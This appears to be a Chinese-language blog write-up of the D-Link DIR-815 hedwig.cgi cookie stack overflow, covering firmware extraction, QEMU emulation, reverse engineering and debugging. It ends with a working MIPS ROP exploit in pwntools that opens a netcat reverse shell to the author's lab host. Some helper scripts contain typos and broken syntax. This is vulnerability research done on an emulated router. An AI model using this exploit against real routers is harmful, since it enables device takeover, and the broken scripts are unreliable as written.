D-link DIR-815路由器多次溢出漏洞分析

前期准备

下载固件,提取

固件下载
https://rebyte.me/en/d-link/89510/file-592084/#google_vignette

固件提取

binwalk -Me DIR-815A1_FW101SSB03.bin 

确定架构

使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:

https://people.debian.org/~aurel32/qemu/

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2

漏洞位置

根据官方poc可以确定,漏洞核心组件是 /htdocs/web/hedwig.cgi

查看一下链接,其实该组件是指向 htdocs/cgibin的符号链接

对cgibin进行分析

查询HTTP_COOKIE字符串可知,只有sess_get_uid函数引用

再次查询可知,hedwigcgi_main函数有调用这个函数

逆向分析

main

函数调用

hedwigcgi_main

~ 判断条件

条件3:读取port内容,见cgibin_parse_request函数解析

对cookie中进行解析

溢出点

/htdocs/cgibin

getenv函数

cgibin_parse_request

函数功能

:从cookie中读取CONTENT_TYPE和CONTENT_LENGTH和REQUEST_URI三项,不过和后面的栈溢出漏洞关系都不大,但是不能没有,需要随便输入一点东西

sess_get_uid

函数功能:

将“=“前后字符串进行分离,如果等号前的字符串为”uid“将等号后字符串拼接并返回,如果不是,将ip返回

函数分析

对sess_get_uid函数进行逆向分析

函数开始将cookie的数值赋值给v3

对cookie中进行遍历,将=和‘;’之间的数值赋值到v4上

如果有uid字符串,说明已经找到uid,将v4字符串的返回

如果没有uid字符串,就将用户ip返回


验证poc编写

debug_port=2345
test=$(python -c "print 'uid='+open(1.txt,'r').read(2000)"))
echo $test
len=$(echo -n $test|wc -c)
sudo chroot . ./qemu-mipsel-static  -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_CONKIE=$test -E CONTENT_LENGTH =$len -E REQUEST_URL="/hedwig.cgi" -E  REQUEST_METHOD="POST"  -E REQUESY_ADDR="127.0.0.1" -g $debug_port  /htdocs/web/hedwig.cgi  
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)PORT="1234"
if ["$LEN"=="0"] ||["$INPUT"=="-h"] ||["$UID"!="0"]
then 
    echo -e "\nUsage:sudo $0 \n"
    exit 1
fi
echo "INPUT"  | chroot . ./qemu-mipsel  -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST"  -E HTTP_CONKIE=$test    -E REQUEST_URL="/hedwig.cgi"-E REQUESY_ADDR="192.168.168.108" -g $PORT  /htdocs/web/hedwig.cgi 2>/dev/null
echo 'run ok'
sudo ./pentest_cgi.sh   'uid=1234'  'python2 -c "print'uid=1234&password='+'A'*0x600"'

restart

参考链接

https://www.cnblogs.com/unr4v31/p/16072562.html

配置网卡

以下是宿主机网卡配置

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

启动qemu机器

编辑qemu启动脚本start.sh:

sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap \
-nographic \

账号/密码是root/root

qemu机网卡配置

net.sh

ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254

和宿主机是可以相互ping通的

网卡验证

qemu机器ping宿主机

宿主机ping qemu机

将文件用scp传到qemu机上

sudo scp -r rootfs/ root@192.168.100.2:/root

输入密码即可

qemu机文件替换

快速脚本,写好传到宿主机上即可 aux.sh

cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi

启动服务

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件
Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}
Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth0         #网卡
    Address 192.168.100.2  #qemu的ip地址
    Port "4321"            #对应web访问端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

在系统/目录底下创建一个名为 conf的配置文件,配置内容如上,用于启动网页服务

启动

./httpd -f conf
http://192.168.100.2:4321/hedwig.cgi

需要提前在宿主机设置一下,这些都是前面代码审计得出的结论,请求需要的项

export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

启动调试

将gdbserver传到qemu机中

需要选择架构的gdbserver

git clone https://github.com/stayliv3/gdb-static-cross.git

./gdbserver 192.168.100.2:8888 /htdocs/web/hedwig.cgi

干了选错架构了一开始,丢了一个大端序的过去,一直找不到符号

git clone https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

用gdbserver.mipsle开启调试服务

重新启动一下服务

./gdbserver.mipsle 192.168.100.2:8888 /htdocs/web/hedwig.cgi

启动监听

nc -vlp 9999 -s 192.168.204.228

验证poc编写

先用py生成payload然后传过去

p='a'*0x3000
f = open("payload",'wb')
f.write(p)
f.close()

经过前面代码审计可知,要达到溢出,需要从cookie中读取CONTENT_TYPE和CONTENT_LENGTH和REQUEST_URI三项,不过和后面的栈溢出漏洞关系都不大,但是不能没有,需要随便输入一点东西

export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"#溢出
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
./gdbserver.mipsle 192.168.100.2:8888 /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

漏洞利用exp(rop)

确定用cyclie工具测算偏移量,然后进行rop构造,反弹shell

确定基址

现在就可以了,编写脚本

/htdocs/web/hedwig.cgi & cat /proc/pid/maps

由于关闭地址随机化,真机都是关闭地址随机化的

gadget寻找

ida工具mipsrop直接搜就ok了,研究了一下其中的原理,其实就是传递参数

0x77f79988 <getservent_r+0> addiu  s0, s0, 1
0x77f7998c <getservent_r+0> move   a0, s0
0x77f79990 <getservent_r+0> move   t9, s1
0x77f79994 <getservent_r+0> jalr   t9

将s0加1,然后赋值给a0,然后jmp到s1

s0处放system-1,然后运行到完了之后,a0上就是system的地址了

→ 0x77f499cc                  addiu  s5, sp, 16
   0x77f499d0                  move   a1, s3
   0x77f499d4                  move   a2, s1
   0x77f499d8                  move   t9, s0
   0x77f499dc                  move   a0, s5
   0x77f499e0                  jalr   t9

将栈$sp+16的地址保存到s5寄存器上,然后再将s5赋值到a0上,也就是第一个参数,就是吧反弹shell的语句赋值上去,再jmp到原本保存在s0上的system

from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd2="/bin/sh\x00"
cmd = 'nc -e /bin/bash 192.168.204.228 9999'
padding = 'A' * (973+12+2+16+4)
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2)       # s1
padding += 'A' * 4                        # s2
padding += 'A' * 4                        # s3
padding += 'A' * 4                        # s4
padding += 'A' * 4                           # s5
padding += 'A' * 4                        # s6
padding += 'A' * 4                        # s7
padding += 'A' * 4                        # fp
padding += p32(base_addr + gadget1)       # ra
padding += 'B' * 0x10
padding += cmd
p='a'*0x3000

f = open("payload",'wb')
f.write(padding)
f.close()
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"#溢出
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
./gdbserver.mipsle 192.168.100.2:8888 /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

成功反弹shell

shellcode exp

posted @ 2024-09-06 16:08  L1N_yun  阅读(103)  评论(0)    收藏  举报